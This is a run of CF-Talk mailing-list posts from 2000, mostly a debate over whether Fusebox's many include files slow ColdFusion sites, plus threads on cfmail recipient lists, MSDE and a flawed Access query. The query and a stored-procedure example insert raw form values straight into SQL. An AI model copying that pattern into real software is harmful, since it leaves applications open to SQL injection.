RE: fusebox style: too much disk access?

[Peter Theobald]

Actually, I find some of the "nit picking" productive, because I'd like to know what 
is the value some people find in some of the Fusebox conventions that I don't find 
valuable. Perhaps I don't realize a situation where some convention comes in really 
handy.

But we digress too much... off to the FuseBox list for more of this...

At 05:41 PM 10/20/00 -0500, Jones, Matt wrote:
>If the code is logical, organized, and well written, it shouldn't matter if
>you utilize the Fusebox methodology or not, fusebox assists people with
>accomplishing these things.  If you do it without using the fusebox
>methodology, that doesn't make you wrong.  Any approach to programming that
>is not logical, organized, and well written is a pain to debug, maintain,
>and update, regardless of whether it is in fusebox or not.  The fact that so
>many fuseboxers take offense to non-fuseboxers and vice versa is rather
>disturbing.  We should strive to forward ourselves by not getting into nit
>picky arguments amongst ourselves about matters of style, and focus on
>helping each other with the problems that we all run into. 
>
>-Original Message-
>From: Peter Theobald [mailto:[EMAIL PROTECTED]]
>Sent: Friday, October 20, 2000 3:33 PM
>To: CF-Talk
>Subject: RE: fusebox style: too much disk access?
>
>
>Since we're talking about it... I always thought that breaking up an
>application by "type of activity in the file" like dsp for display and qry
>for query didn't make sense. I want to break up my application by logical
>"object" like a user profile, an inventory item, etc..
>
>
>At 11:19 AM 10/20/00 -0700, Nat Papovich wrote:
>>What-evah, Dave. Fusebox kicks ass for the very implementation you mention.
>>COMs can be called from a single file (using a new prefix com_filename.cfm
>>if you want), then whenever you need that COM, you cfinclude that file.
>>
>>Maybe it would help us if you made a distinction between application logic
>>encapsulation and business rules encapsulation. If you do both within
>>COM/EJB, then you practically don't even need CF for anything other than
>>CFOUTPUT. If however, you want application logic in COM, but still want
>>business rules in CF, then Fusebox is great. No?
>>
>>It seems to me that if you remove application and business logic from CF,
>>then a structured application architecture (like Fusebox) becomes less of a
>>necessity. What kind of CF architecture do you guys use in EJB/COM-heavy
>>apps?
>>
>>Nat Papovich
>>ICQ 32676414
>>"I'm for truth no matter who tells it."
>>-Malcolm X, 1965
>>
>>
>>-Original Message-
>>From: Dave Watts [mailto:[EMAIL PROTECTED]]
>>Sent: Friday, October 20, 2000 10:12 AM
>>To: CF-Talk
>>Cc: '[EMAIL PROTECTED]'
>>Subject: RE: fusebox style: too much disk access?
>>
>>
>>> > I'm not a Fusebox fan, by any measure, 
>>> 
>>> Why not? What would need to be changed to make you a fan?
>>
>>I'd have to be working on applications where the complex logic is stored in
>>CF, instead of in other application tiers. I don't want to fuel another "Is
>>Fusebox good or bad" thread, but I don't think it fits well with the type
>of
>>applications that we focus on here at Fig Leaf, which typically have lots
>of
>>client-side complexity, like frames, JavaScript, Flash, etc. and have lots
>>of application logic within other application tiers on the server-side,
>like
>>within stored procedures or COM/EJB.
>>
>>On the other hand, if I was working on an application with all of its
>>complexity within CF, I'd probably like Fusebox quite a bit. Once you move
>>most of that complexity from CF to other tiers, though, Fusebox doesn't do
>>much for you, in my opinion.
>>
>>Dave Watts, CTO, Fig Leaf Software
>>http://www.figleaf.com/
>>voice: (202) 797-5496
>>fax: (202) 797-5444
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Re: Question

[pan]

From: "Les Mizzell" <[EMAIL PROTECTED]>

> So (I'll translate this to CF code later...)
> 
> 1. Create a list named CCEmails with ";" delimiter
> 2. If "email2" exist, append it to the list
> 3. If "email3" exist, append it to the list
> ...and so on
> 
> then..in the  tag
> 
>  to="[EMAIL PROTECTED]"
> cc="#CCEmails#"
> 
> This correct?

Yes - as far as it is one way to do the problem.
I like to pre-construct all the lines for a cfmail
before caling the tag. Makes the code a bit more
portable and reusable and a bit more amenable
to handling input from forms and queries.
Also - it becomes easy to suppress or allow
any single line.

Pan



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RE: fusebox style: too much disk access?

[Warrick, Mark]

Yeah, but hey isn't it cool when you explain your methodology to a client and bad 
mouth all us anal-retentive Fuseboxers and somehow look like you totally know what 
you're doing? (I'm totally kidding, of course.)

I find that no matter what your methodology is, if someone else can easily understand 
and adopt it, then it is truely valuable because that provides added value to the 
service that we all provide.  Imagine how many times you've picked up an application 
after someone else and wished you could understand their logic.

:)

TGIF ---mark

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> -Original Message-
> From: Jones, Matt [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 3:42 PM
> To: CF-Talk
> Subject: RE: fusebox style: too much disk access?
> 
> 
> If the code is logical, organized, and well written, it shouldn't 
> matter if
> you utilize the Fusebox methodology or not, fusebox assists people with
> accomplishing these things.  If you do it without using the fusebox
> methodology, that doesn't make you wrong.  Any approach to 
> programming that
> is not logical, organized, and well written is a pain to debug, maintain,
> and update, regardless of whether it is in fusebox or not.  The 
> fact that so
> many fuseboxers take offense to non-fuseboxers and vice versa is rather
> disturbing.  We should strive to forward ourselves by not getting into nit
> picky arguments amongst ourselves about matters of style, and focus on
> helping each other with the problems that we all run into. 
> 
> -Original Message-
> From: Peter Theobald [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 3:33 PM
> To: CF-Talk
> Subject: RE: fusebox style: too much disk access?
> 
> 
> Since we're talking about it... I always thought that breaking up an
> application by "type of activity in the file" like dsp for display and qry
> for query didn't make sense. I want to break up my application by logical
> "object" like a user profile, an inventory item, etc..
> 
> 
> At 11:19 AM 10/20/00 -0700, Nat Papovich wrote:
> >What-evah, Dave. Fusebox kicks ass for the very implementation 
> you mention.
> >COMs can be called from a single file (using a new prefix 
> com_filename.cfm
> >if you want), then whenever you need that COM, you cfinclude that file.
> >
> >Maybe it would help us if you made a distinction between 
> application logic
> >encapsulation and business rules encapsulation. If you do both within
> >COM/EJB, then you practically don't even need CF for anything other than
> >CFOUTPUT. If however, you want application logic in COM, but still want
> >business rules in CF, then Fusebox is great. No?
> >
> >It seems to me that if you remove application and business logic from CF,
> >then a structured application architecture (like Fusebox) 
> becomes less of a
> >necessity. What kind of CF architecture do you guys use in EJB/COM-heavy
> >apps?
> >
> >Nat Papovich
> >ICQ 32676414
> >"I'm for truth no matter who tells it."
> >-Malcolm X, 1965
> >
> >
> >-Original Message-
> >From: Dave Watts [mailto:[EMAIL PROTECTED]]
> >Sent: Friday, October 20, 2000 10:12 AM
> >To: CF-Talk
> >Cc: '[EMAIL PROTECTED]'
> >Subject: RE: fusebox style: too much disk access?
> >
> >
> >> > I'm not a Fusebox fan, by any measure, 
> >> 
> >> Why not? What would need to be changed to make you a fan?
> >
> >I'd have to be working on applications where the complex logic 
> is stored in
> >CF, instead of in other application tiers. I don't want to fuel 
> another "Is
> >Fusebox good or bad" thread, but I don't think it fits well with the type
> of
> >applications that we focus on here at Fig Leaf, which typically have lots
> of
> >client-side complexity, like frames, JavaScript, Flash, etc. and 
> have lots
> >of application logic within other application tiers on the server-side,
> like
> >within stored procedures or COM/EJB.
> >
> >On the other hand, if I was working on an application with all of its
> >complexity within CF, I'd probably like Fusebox quite a bit. 
> Once you move
> >most of that complexity from CF to other tiers, though, Fusebox 
> doesn't do
> >much for you, in my opinion.
> >
> >Dave Watts, CTO, Fig Leaf Software
> >http://www.figleaf.com/
> >voice: (202) 797-5496
> >fax: (202) 797-5444
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RE: Question

[Warrick, Mark]

Set the string of emails dynamically and use that variable as to="#email_string#".  
Also, output that string to the screen before you commit to going nuts trying to 
figure out what's wrong.  And have a Jolt Coke.  :)

---mark

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> -Original Message-
> From: Les Mizzell [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 1:49 PM
> To: CF-Talk
> Subject:  Question
> 
> 
> Not 100% sure how to handle this...looking for ideas
> 
> I'm sending  after a client fills out a form.
> 
> There's up to 5 different email addresses that the mail might 
> have to go to,
> depending on form input.
> 
> 
> Email *ALWAYS* goes to "email1"
> Needs to go to:
> "email2" (from the form),
> "email3" (from dropdown list on form)
> "email4" (from a database)
> and "email5"(from a database)  as well.
> 
> So, the following should work:
> 
>  
> Problem is, "email2" and "email4" might not exist, while the 
> others do.  Or
> maybe "email5" doesn't exist.
> 
> If the above is the case, then you get email sent out to:
> "somebody@address1;(nothing)" which obviously isn't going to work 
> because of
> the extra added ";" with nothing after it.
> 
> 
> This is probably so simple that I'm just missing it, but I'm not 
> sure how to
> structure this so it gets sent only to addresses that exist, and 
> not to the
> others, which errors out (doesn't send mail).
> 
> That make any sense?  I'm sleep deprived..
> 
> 
> Les Mizzell
> ***
> The main reason Santa is so jolly is
> because he knows where all the bad girls live.
> 
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MSDE on Win2K... anyone successfully install it?

[ron]

Just curious... anyone out there successfully running MSDE on Win2K?

If so, pros and cons vs. MSAccess for relatively low-volume sites? Ease of
administration? Installation?

thx,
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Re: (Admin) virus in message

[Larry W. Virden]

From: "Michael Dinowitz" <[EMAIL PROTECTED]>

> Please do not be stupid like I was. If you reply to a thread with a virus on
> it (even in plain text), PLEASE REMOVE THE VIRUS TEXT. Otherwise it throws

Frankly, it would be great if people removed most of any msg to which they
are replying; very seldom do we need to see quoted HTML, .sigs, or for
that matter word for word entire threads of dozens of answers to msgs...
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RE: CFCONTENT download name

[lsellers]

> > > Use this before your CFCONTENT tag:
> > >
> > > 
> ...
> > Sorry. This doesn't work. The form variables are lost.
>
> It should work, as should using a "fake" URL on a pre-SP6 server.

It's worked for me on NT4 as well as W2K. And everything I've tried it on
since seeing dave's neat little trick a few month's back. :)

I think you need to post a bit of your code.

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RE: fusebox style: too much disk access? (back on track)

[Nat Papovich]

Back to the original topic of disk access...

During a recent build to a production server, a friend of mine
"accidentally" deleted the webroot on the live server. Because of the
techincal logistics, getting a new copy on the server takes quite some time.
In the meantime, the site kept plugging along, with CF serving pages from
the trusted cache.

Although I can't recommend that you pull out your hard drive on a production
server, it will work, serving up templates from the RAM cache. Images might
break though...

NAT

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There was a I love you virus in Sharons posts ...... and the RE: from that

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RE: fusebox style: too much disk access?

[Nat Papovich]

I'm all for structured architectures, first and foremost. There is no way
that someone like Dave Watts is building poorly architected applications.
The main reason why Fuseboxers are so adamant is because of the schtuff that
Hal Helms (aka Superman) is working on right now including nesting
Fuseboxes, remote and disparate developers, separating architecture from
coding, etc. That's why an architecture that many developers are famililar
with and use is nice. Not the be-all-end-all, but nice.

Hey it's just a stupid computer anyway. What does it REALLY matter?

Nat Papovich
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-Original Message-
From: Jones, Matt [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 3:42 PM
To: CF-Talk
Subject: RE: fusebox style: too much disk access?


If the code is logical, organized, and well written, it shouldn't matter if
you utilize the Fusebox methodology or not, fusebox assists people with
accomplishing these things.  If you do it without using the fusebox
methodology, that doesn't make you wrong.  Any approach to programming that
is not logical, organized, and well written is a pain to debug, maintain,
and update, regardless of whether it is in fusebox or not.  The fact that so
many fuseboxers take offense to non-fuseboxers and vice versa is rather
disturbing.  We should strive to forward ourselves by not getting into nit
picky arguments amongst ourselves about matters of style, and focus on
helping each other with the problems that we all run into. 

-Original Message-
From: Peter Theobald [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 3:33 PM
To: CF-Talk
Subject: RE: fusebox style: too much disk access?


Since we're talking about it... I always thought that breaking up an
application by "type of activity in the file" like dsp for display and qry
for query didn't make sense. I want to break up my application by logical
"object" like a user profile, an inventory item, etc..


At 11:19 AM 10/20/00 -0700, Nat Papovich wrote:
>What-evah, Dave. Fusebox kicks ass for the very implementation you mention.
>COMs can be called from a single file (using a new prefix com_filename.cfm
>if you want), then whenever you need that COM, you cfinclude that file.
>
>Maybe it would help us if you made a distinction between application logic
>encapsulation and business rules encapsulation. If you do both within
>COM/EJB, then you practically don't even need CF for anything other than
>CFOUTPUT. If however, you want application logic in COM, but still want
>business rules in CF, then Fusebox is great. No?
>
>It seems to me that if you remove application and business logic from CF,
>then a structured application architecture (like Fusebox) becomes less of a
>necessity. What kind of CF architecture do you guys use in EJB/COM-heavy
>apps?
>
>Nat Papovich
>ICQ 32676414
>"I'm for truth no matter who tells it."
>-Malcolm X, 1965
>
>
>-Original Message-
>From: Dave Watts [mailto:[EMAIL PROTECTED]]
>Sent: Friday, October 20, 2000 10:12 AM
>To: CF-Talk
>Cc: '[EMAIL PROTECTED]'
>Subject: RE: fusebox style: too much disk access?
>
>
>> > I'm not a Fusebox fan, by any measure, 
>> 
>> Why not? What would need to be changed to make you a fan?
>
>I'd have to be working on applications where the complex logic is stored in
>CF, instead of in other application tiers. I don't want to fuel another "Is
>Fusebox good or bad" thread, but I don't think it fits well with the type
of
>applications that we focus on here at Fig Leaf, which typically have lots
of
>client-side complexity, like frames, JavaScript, Flash, etc. and have lots
>of application logic within other application tiers on the server-side,
like
>within stored procedures or COM/EJB.
>
>On the other hand, if I was working on an application with all of its
>complexity within CF, I'd probably like Fusebox quite a bit. Once you move
>most of that complexity from CF to other tiers, though, Fusebox doesn't do
>much for you, in my opinion.
>
>Dave Watts, CTO, Fig Leaf Software
>http://www.figleaf.com/
>voice: (202) 797-5496
>fax: (202) 797-5444
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RE: fusebox style: too much disk access?

[Brad Roberts]

I've got a fusebox tattoo, so nah!
:^)
Kidding,

Brad

-Original Message-
From: Jones, Matt [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 6:42 PM
To: CF-Talk
Subject: RE: fusebox style: too much disk access?


If the code is logical, organized, and well written, it shouldn't matter if
you utilize the Fusebox methodology or not, fusebox assists people with
accomplishing these things.  If you do it without using the fusebox
methodology, that doesn't make you wrong.  Any approach to programming that
is not logical, organized, and well written is a pain to debug, maintain,
and update, regardless of whether it is in fusebox or not.  The fact that so
many fuseboxers take offense to non-fuseboxers and vice versa is rather
disturbing.  We should strive to forward ourselves by not getting into nit
picky arguments amongst ourselves about matters of style, and focus on
helping each other with the problems that we all run into.

-Original Message-
From: Peter Theobald [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 3:33 PM
To: CF-Talk
Subject: RE: fusebox style: too much disk access?


Since we're talking about it... I always thought that breaking up an
application by "type of activity in the file" like dsp for display and qry
for query didn't make sense. I want to break up my application by logical
"object" like a user profile, an inventory item, etc..


At 11:19 AM 10/20/00 -0700, Nat Papovich wrote:
>What-evah, Dave. Fusebox kicks ass for the very implementation you mention.
>COMs can be called from a single file (using a new prefix com_filename.cfm
>if you want), then whenever you need that COM, you cfinclude that file.
>
>Maybe it would help us if you made a distinction between application logic
>encapsulation and business rules encapsulation. If you do both within
>COM/EJB, then you practically don't even need CF for anything other than
>CFOUTPUT. If however, you want application logic in COM, but still want
>business rules in CF, then Fusebox is great. No?
>
>It seems to me that if you remove application and business logic from CF,
>then a structured application architecture (like Fusebox) becomes less of a
>necessity. What kind of CF architecture do you guys use in EJB/COM-heavy
>apps?
>
>Nat Papovich
>ICQ 32676414
>"I'm for truth no matter who tells it."
>-Malcolm X, 1965
>
>
>-Original Message-
>From: Dave Watts [mailto:[EMAIL PROTECTED]]
>Sent: Friday, October 20, 2000 10:12 AM
>To: CF-Talk
>Cc: '[EMAIL PROTECTED]'
>Subject: RE: fusebox style: too much disk access?
>
>
>> > I'm not a Fusebox fan, by any measure,
>>
>> Why not? What would need to be changed to make you a fan?
>
>I'd have to be working on applications where the complex logic is stored in
>CF, instead of in other application tiers. I don't want to fuel another "Is
>Fusebox good or bad" thread, but I don't think it fits well with the type
of
>applications that we focus on here at Fig Leaf, which typically have lots
of
>client-side complexity, like frames, JavaScript, Flash, etc. and have lots
>of application logic within other application tiers on the server-side,
like
>within stored procedures or COM/EJB.
>
>On the other hand, if I was working on an application with all of its
>complexity within CF, I'd probably like Fusebox quite a bit. Once you move
>most of that complexity from CF to other tiers, though, Fusebox doesn't do
>much for you, in my opinion.
>
>Dave Watts, CTO, Fig Leaf Software
>http://www.figleaf.com/
>voice: (202) 797-5496
>fax: (202) 797-5444
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RE: fusebox style: too much disk access?

[thomas daniel]

well stated


>From: "Jones, Matt" <[EMAIL PROTECTED]>
>Reply-To: [EMAIL PROTECTED]
>To: CF-Talk <[EMAIL PROTECTED]>
>Subject: RE: fusebox style: too much disk access?
>Date: Fri, 20 Oct 2000 17:41:59 -0500
>
>If the code is logical, organized, and well written, it shouldn't matter if
>you utilize the Fusebox methodology or not, fusebox assists people with
>accomplishing these things.  If you do it without using the fusebox
>methodology, that doesn't make you wrong.  Any approach to programming that
>is not logical, organized, and well written is a pain to debug, maintain,
>and update, regardless of whether it is in fusebox or not.  The fact that 
>so
>many fuseboxers take offense to non-fuseboxers and vice versa is rather
>disturbing.  We should strive to forward ourselves by not getting into nit
>picky arguments amongst ourselves about matters of style, and focus on
>helping each other with the problems that we all run into.
>
>-Original Message-
>From: Peter Theobald [mailto:[EMAIL PROTECTED]]
>Sent: Friday, October 20, 2000 3:33 PM
>To: CF-Talk
>Subject: RE: fusebox style: too much disk access?
>
>
>Since we're talking about it... I always thought that breaking up an
>application by "type of activity in the file" like dsp for display and qry
>for query didn't make sense. I want to break up my application by logical
>"object" like a user profile, an inventory item, etc..
>
>
>At 11:19 AM 10/20/00 -0700, Nat Papovich wrote:
> >What-evah, Dave. Fusebox kicks ass for the very implementation you 
>mention.
> >COMs can be called from a single file (using a new prefix 
>com_filename.cfm
> >if you want), then whenever you need that COM, you cfinclude that file.
> >
> >Maybe it would help us if you made a distinction between application 
>logic
> >encapsulation and business rules encapsulation. If you do both within
> >COM/EJB, then you practically don't even need CF for anything other than
> >CFOUTPUT. If however, you want application logic in COM, but still want
> >business rules in CF, then Fusebox is great. No?
> >
> >It seems to me that if you remove application and business logic from CF,
> >then a structured application architecture (like Fusebox) becomes less of 
>a
> >necessity. What kind of CF architecture do you guys use in EJB/COM-heavy
> >apps?
> >
> >Nat Papovich
> >ICQ 32676414
> >"I'm for truth no matter who tells it."
> >-Malcolm X, 1965
> >
> >
> >-Original Message-
> >From: Dave Watts [mailto:[EMAIL PROTECTED]]
> >Sent: Friday, October 20, 2000 10:12 AM
> >To: CF-Talk
> >Cc: '[EMAIL PROTECTED]'
> >Subject: RE: fusebox style: too much disk access?
> >
> >
> >> > I'm not a Fusebox fan, by any measure,
> >>
> >> Why not? What would need to be changed to make you a fan?
> >
> >I'd have to be working on applications where the complex logic is stored 
>in
> >CF, instead of in other application tiers. I don't want to fuel another 
>"Is
> >Fusebox good or bad" thread, but I don't think it fits well with the type
>of
> >applications that we focus on here at Fig Leaf, which typically have lots
>of
> >client-side complexity, like frames, JavaScript, Flash, etc. and have 
>lots
> >of application logic within other application tiers on the server-side,
>like
> >within stored procedures or COM/EJB.
> >
> >On the other hand, if I was working on an application with all of its
> >complexity within CF, I'd probably like Fusebox quite a bit. Once you 
>move
> >most of that complexity from CF to other tiers, though, Fusebox doesn't 
>do
> >much for you, in my opinion.
> >
> >Dave Watts, CTO, Fig Leaf Software
> >http://www.figleaf.com/
> >voice: (202) 797-5496
> >fax: (202) 797-5444
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RE: Question

[Les Mizzell]

Hmmm, that sorta makes sense.


So (I'll translate this to CF code later...)

1. Create a list named CCEmails with ";" delimiter
2. If "email2" exist, append it to the list
3. If "email3" exist, append it to the list
...and so on

then..in the  tag

 structure I was setting up to try and do this!!!

Les Mizzell
***
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because he knows where all the bad girls live.

> -Original Message-
> From: pan [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 5:09 PM
> To: CF-Talk
> Subject: Re:  Question
>
>
> From: "Les Mizzell" <[EMAIL PROTECTED]>
>
>
> > Not 100% sure how to handle this...looking for ideas
> >
> > I'm sending  after a client fills out a form.
> >
> > There's up to 5 different email addresses that the mail might
> have to go to,
> > depending on form input.
> >
>
> Maybe building lists before the cfmail tag?
> Check your form.vars with appropriate IsDefined
> structures and ListAppend as appropriate using ";"
> as a delimiter - then use the lists as parameters for the
> tag.
>
> hope this is of some help
>
> pan
>
>
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RE: fusebox style: too much disk access?

[Jones, Matt]

If the code is logical, organized, and well written, it shouldn't matter if
you utilize the Fusebox methodology or not, fusebox assists people with
accomplishing these things.  If you do it without using the fusebox
methodology, that doesn't make you wrong.  Any approach to programming that
is not logical, organized, and well written is a pain to debug, maintain,
and update, regardless of whether it is in fusebox or not.  The fact that so
many fuseboxers take offense to non-fuseboxers and vice versa is rather
disturbing.  We should strive to forward ourselves by not getting into nit
picky arguments amongst ourselves about matters of style, and focus on
helping each other with the problems that we all run into. 

-Original Message-
From: Peter Theobald [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 3:33 PM
To: CF-Talk
Subject: RE: fusebox style: too much disk access?


Since we're talking about it... I always thought that breaking up an
application by "type of activity in the file" like dsp for display and qry
for query didn't make sense. I want to break up my application by logical
"object" like a user profile, an inventory item, etc..


At 11:19 AM 10/20/00 -0700, Nat Papovich wrote:
>What-evah, Dave. Fusebox kicks ass for the very implementation you mention.
>COMs can be called from a single file (using a new prefix com_filename.cfm
>if you want), then whenever you need that COM, you cfinclude that file.
>
>Maybe it would help us if you made a distinction between application logic
>encapsulation and business rules encapsulation. If you do both within
>COM/EJB, then you practically don't even need CF for anything other than
>CFOUTPUT. If however, you want application logic in COM, but still want
>business rules in CF, then Fusebox is great. No?
>
>It seems to me that if you remove application and business logic from CF,
>then a structured application architecture (like Fusebox) becomes less of a
>necessity. What kind of CF architecture do you guys use in EJB/COM-heavy
>apps?
>
>Nat Papovich
>ICQ 32676414
>"I'm for truth no matter who tells it."
>-Malcolm X, 1965
>
>
>-Original Message-
>From: Dave Watts [mailto:[EMAIL PROTECTED]]
>Sent: Friday, October 20, 2000 10:12 AM
>To: CF-Talk
>Cc: '[EMAIL PROTECTED]'
>Subject: RE: fusebox style: too much disk access?
>
>
>> > I'm not a Fusebox fan, by any measure, 
>> 
>> Why not? What would need to be changed to make you a fan?
>
>I'd have to be working on applications where the complex logic is stored in
>CF, instead of in other application tiers. I don't want to fuel another "Is
>Fusebox good or bad" thread, but I don't think it fits well with the type
of
>applications that we focus on here at Fig Leaf, which typically have lots
of
>client-side complexity, like frames, JavaScript, Flash, etc. and have lots
>of application logic within other application tiers on the server-side,
like
>within stored procedures or COM/EJB.
>
>On the other hand, if I was working on an application with all of its
>complexity within CF, I'd probably like Fusebox quite a bit. Once you move
>most of that complexity from CF to other tiers, though, Fusebox doesn't do
>much for you, in my opinion.
>
>Dave Watts, CTO, Fig Leaf Software
>http://www.figleaf.com/
>voice: (202) 797-5496
>fax: (202) 797-5444
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RE: Wierdest Access problem ever

[Robert Everland III]

There is no error it just hangs completely. If I do the exact same query in
RDS it brings back no records. I did find out what the problem is it's the
left() function. Description is a memo field if that even makes any
difference. Dave Watts, any suggestions?


Bob Everland

-Original Message-
From: pan [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 5:26 PM
To: CF-Talk
Subject: Re: Wierdest Access problem ever


From: "Robert Everland" <[EMAIL PROTECTED]>
> I am thinking MDAC. This is the original code that froze up CF. Could be
> MDAC or CF
>
I can't see anything immediate in the code ...

(might try adding a  ; after the final )

Might save some time if you deconstruct the query
section by section until you get to a part that works and
then build it back up until an error appears.
Just comment out clauses and keep moving the
.
I know that's a brute force method, but it is sure.
If it is a dataype matching problem, this method will
show it fairly quickly.

You loaded MDAC 2.6?

What is the exact error message?

pan



SELECT DISTINCT
problemlog.TICKET AS ResultField1,
problemlog.DATE AS ResultField2,
problemlog.TIME AS ResultField3,
problemlog.REQNAME AS ResultField4,
left(problemlog.description,40) AS  ResultField5,
problemlog.TICKET AS ID_Field
FROM problemlog
WHERE 1=1

AND problemlog.ticket = #Form.Crit1_Value#


AND problemlog.reqname like '%#Form.Crit2_Value#%'
 

/



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RE: fusebox style: too much disk access?

[Nat Papovich]

Dave Watts Said:
"There just isn't that much CFML code to organize!"

And that about sums it up, folks. If you have an application without "that
much CFML" then you don't need any kind of organization. 

However, if all your business and application logic is performed by CF and
SQL and you don't use more than those 2 tiers (CF for logic and display and
SQL for backend), then a structured application architecture (like Fusebox)
is mucho important, regardless of the minor decrease in speed for numbers of
included files.

Nat Papovich
ICQ 32676414
"I'm for truth no matter who tells it."
-Malcolm X, 1965


-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 3:03 PM
To: CF-Talk
Cc: Nat Papovich
Subject: RE: fusebox style: too much disk access?


I was afraid this would happen. I'm surprised that Sean Renet hasn't
contributed yet, though!

> What-evah, Dave. Fusebox kicks ass for the very implementation 
> you mention. COMs can be called from a single file (using a new 
> prefix com_filename.cfm if you want), then whenever you need 
> that COM, you cfinclude that file.

Well, I could do that, but for most purposes, what would be the point?

Let's say I use a COM object many places in my application. This doesn't
mean that I'm going to use the same methods and properties of that object
each time. So, I create a file:





OK. Well, that sure buys me a lot, doesn't it? Admittedly, you might reuse
some of the methods and properties, but then again you might not. The point
of using COM, in my opinion, is that it IS an encapsulation - I simply
instantiate the object, then use it. I don't need to encapsulate the
encapsulation!

> Maybe it would help us if you made a distinction between 
> application logic encapsulation and business rules 
> encapsulation. If you do both within COM/EJB, then you 
> practically don't even need CF for anything other than
> CFOUTPUT. If however, you want application logic in COM, but 
> still want business rules in CF, then Fusebox is great. No?
>
> It seems to me that if you remove application and business 
> logic from CF, then a structured application architecture 
> (like Fusebox) becomes less of a necessity. What kind of 
> CF architecture do you guys use in EJB/COM-heavy apps?

In my world, application logic is the whole enchilada. Business rules are a
subset of application logic; specific algorithms written to model rules and
limitations imposed by the business process. In the real world, of course,
it's often difficult to cleanly separate business rules from everything
else, but we try.

In most Fig Leaf applications, we actually don't use all that many COM or
EJB components, although we're certainly moving in that direction more and
more, it seems. However, we're still distributing application logic across
multiple tiers.

We'll often place significant amounts within stored procedures. Now,
according to Fusebox, we should then place the stored procedure calls within
separate "qry_" or "act_" files. Of course, since all the real code is in
the stored procedure, and we often call the stored procedure using CFQUERY
(as we can then cache the recordset using CFQUERY's caching attributes),
we'd have something like this:



{ call myspFoo(#mynumericparam#, '#mytextparam#') }



Again, not a lot of reuse value. In fact, at this point, using Fusebox seems
to me to be just another layer of abstraction I'd have to deal with.

That's really where I draw the line. I could use it with anything - frames,
JavaScript, WML, COM/EJB, stored procedures, etc. However, at a certain
point, it adds complexity rather than making things simpler. The reason I
like CF is that it's a comparatively simple, high-level language which is
easy to read. Given that within a well-constructed application, you're
generally going to have a relatively self-documenting structure of
directories/subdirectories and of functionality, the price for making every
last line of code so self-descriptive seems a bit high to me. There just
isn't that much CFML code to organize! The amount of organizational
structure in Fusebox seems to me to exceed the amount of algorithmic
content.

As for what kind of CF architecture we use (whether in object-tier apps or
not), we simply use a "common sense" architecture. We design the application
before building it, and we organize the CF portion of the application in a
modular subdirectory structure. We have some standards for using
frames-based interfaces, we have other standards for using JavaScript to
work with recordsets on the client, and so on.

Within our organization, we frequently move developers from one project to
another, without any major difficulties in understanding the flow of the
application.

Finally, I've never told anyone "don't use Fusebox". I've said that I don't
think it's the best choice for everything, and that I don't use it. If you
like it, go ahead and use it! But if you don't, don't use it just because
"it's

Ben Forta I call on thee... was(RE: fusebox style: too much disk access?)

[Donald Sparks]

Mr. Forta,

In other words, does the caching sytem that CF uses perform a cache per fusebox or a 
cache for each fuseaction?

Thank you, and greatly in your debt.
Don Sparks 

--Original Message--
From: "Jeremy Allen" <[EMAIL PROTECTED]>
To: CF-Talk <[EMAIL PROTECTED]>
Sent: October 20, 2000 9:00:47 PM GMT
Subject: RE: fusebox style: too much disk access?


Peter that was more of a theoretical guess than an actual statement
but I will reenforce it.

My assumptions based on how C compilers work.

There is a preprocessing phase for a individual page call.


Step one, preprocess any individual CF template include any
files into the template do anything else (syntax checking
after the inclusion, before the inclusion) there are to
many things to talk about so ill just stick to including files.

After "pre processing" you now have a template to be interpreted.

The next phase since we all know that CF "compiles" templates
to PCode is to turn that template into PCode.

So one Section of my site may have 10 fuses which is really
just 10 seperate Compilations (10 different file configurations)

Again most of this is theory if anyone actually knows I would
love to hear it, im just taking some guesses here.

At this point I can only state guesses since I am not entirely
certain. Dave? Allaire people?

Anyone care to comment on how this works.

My guess is say you have 30 different combinations to
CF that is just 30 different PCode compilations not so
many to leave in memory.

If it parses a template and finds it has changed or
has a different combination of CFINCLUDES I imagine
it just compiles a newer version. This is memory
intensive but is what gives lightning fast runtimes
even for fusebox stuff...

Its a really good question actually Peter and one I have
wanted someone to comment on every time I have mentioned
this.

BTW I realize the actual CFENGINE is much more complex I am
just grossly simplfying it for my example.

If that is not how it works I dont see how Fusebox and any
application using a lot of CFINCLUDES can get away with working
in an effecient manner. It somehow has to be translating the
pages to PCode or using some method of caching or combinations
thereof. Anyways someone enlighten us :)


Jeremy Allen
[EMAIL PROTECTED]


-Original Message-
From: Peter Theobald [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 4:47 PM
To: CF-Talk
Subject: Re: fusebox style: too much disk access?


That's the best possible case for cacheing. If everyone is acessing the same
file you can bet it will be in cache and will serve out quickly.

Did I understand Jeremy Allen correctly that the CF server will compile the
entire page to P-Code *with any included files* and cache it. How does it
track the myriad of combinations when all of the s are dynamic
(inside CFIFs) and different files are included depending on the input and
data?

At 11:44 AM 10/20/00 -0400, Donald Sparks wrote:
>Okay, I'm not concerned with cfincludes and those related issues. I am
concerned with the handling of multiple requests on the index or "fusebox"
page (i.e.) a single page. For example say I have 1,000 users on my site. If
they are all accessing index.cfm as opposed to 20 to 30 different .cfm
pages. How does this affect caching and does it produce any other problems.
>
>Thank you,
>Don Sparks
>not quite at the 32nd chamber of fusebox.
>
>- Original Message -
>From: "Steve Nelson" <[EMAIL PROTECTED]>
>To: "CF-Talk" <[EMAIL PROTECTED]>
>Sent: Thursday, October 19, 2000 3:23 PM
>Subject: Re: fusebox style: too much disk access?
>
>
>> Don't be confused by what Nat is saying, a single "fuseaction" in a
>> Fusebox application may only hit 5-8 files.  It's really not that big a
>> deal.
>>
>> Steve
>>
>> Nat Papovich wrote:
>> >
>> > A simple test of included files suggests that CF's internal file access
>> > functions were pratically built with a cfinclude-heavy architecture in
>mind.
>> > Accessing dozens of files for a single page request is very quick. Out
>of
>> > 100 included files, you might notice a 10 ms increase than if you had
>all
>> > the code on the same page. Now that 10 ms performance hit gives you a
